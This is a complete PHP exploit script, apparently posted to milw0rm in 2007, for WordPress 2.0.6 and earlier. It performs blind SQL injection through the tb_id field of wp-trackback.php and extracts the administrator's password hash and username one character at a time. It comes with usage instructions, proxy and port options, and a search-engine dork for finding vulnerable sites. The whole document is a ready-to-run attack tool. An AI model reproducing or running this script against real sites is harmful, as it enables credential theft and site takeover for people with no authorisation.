<?php print_r(' --------------------------------------------------------------------------- Wordpress <= 2.0.6 wp-trackback.php Zend_Hash_Del_Key_Or_Index / / sql injection admin hash disclosure exploit (needs register_globals=on, 4 <= PHP < 4.4.3,< 5.1.4) by rgod dork: "is proudly powered by WordPress" mail: retrog at alice dot it site: http://retrogod.altervista.org --------------------------------------------------------------------------- '); if ($argc<3) { print_r(' --------------------------------------------------------------------------- Usage: php '.$argv[0].' host path OPTIONS host: target server (ip/hostname) path: path to wordpress Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy -t[prefix]: specify a table prefix (default: wp_) Example: php '.$argv[0].' localhost /wordpress/ -P1.1.1.1:80 php '.$argv[0].' localhost / -p81 --------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; $prefix="wp_"; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-t") { $prefix=str_replace("-t","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(97,102));//a-f letters function my_encode($my_string) { $encoded="CHAR("; for ($k=0; $k<=strlen($my_string)-1; $k++) { $encoded.=ord($my_string[$k]); if ($k==strlen($my_string)-1) {$encoded.=")";} else {$encoded.=",";} } return $encoded; } echo "\npwd hash -> "; $j=1;$password=""; while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { $sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_pass,".$j.",1))=".$i."),".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**/WHERE/**/ID=1/*"; $data ="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"title\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"url\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"blog_name\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"tb_id\";\r\n\r\n"; $data.="$sql\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"1740009377\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"496546471\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e--\r\n"; $packet ="POST ".$p."wp-trackback.php?tb_id=1 HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (!eregi("trackbacks are closed",$html)) {$password.=chr($i);echo chr($i);sleep(1);break;} } if ($i==255) { die("\nExploit failed..."); } } $j++; } echo "\n"; echo "admin user -> "; $j=1;$admin=""; while (!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) { $sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_login,".$j.",1))=".$i."),".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**/WHERE/**/ID=1/*"; $data ="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"title\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"url\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"blog_name\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"tb_id\";\r\n\r\n"; $data.="$sql\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"1740009377\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form-data; name=\"496546471\";\r\n\r\n"; $data.="1\r\n"; $data.="-----------------------------7d61bcd1f033e--\r\n"; $packet ="POST ".$p."wp-trackback.php?tb_id=1 HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (!eregi("trackbacks are closed",$html)) {$admin.=chr($i);echo chr($i);sleep(1);break;} if ($i==255) { die("\nExploit failed..."); } } $j++; } echo "\n"; function is_hash($hash) { if (ereg("([a-f0-9]{32})",trim($hash))) {return true;} else {return false;} } if (is_hash($password)) { echo "exploit succeeded..."; } else { echo "exploit failed..."; } ?> # milw0rm.com [2007-01-10]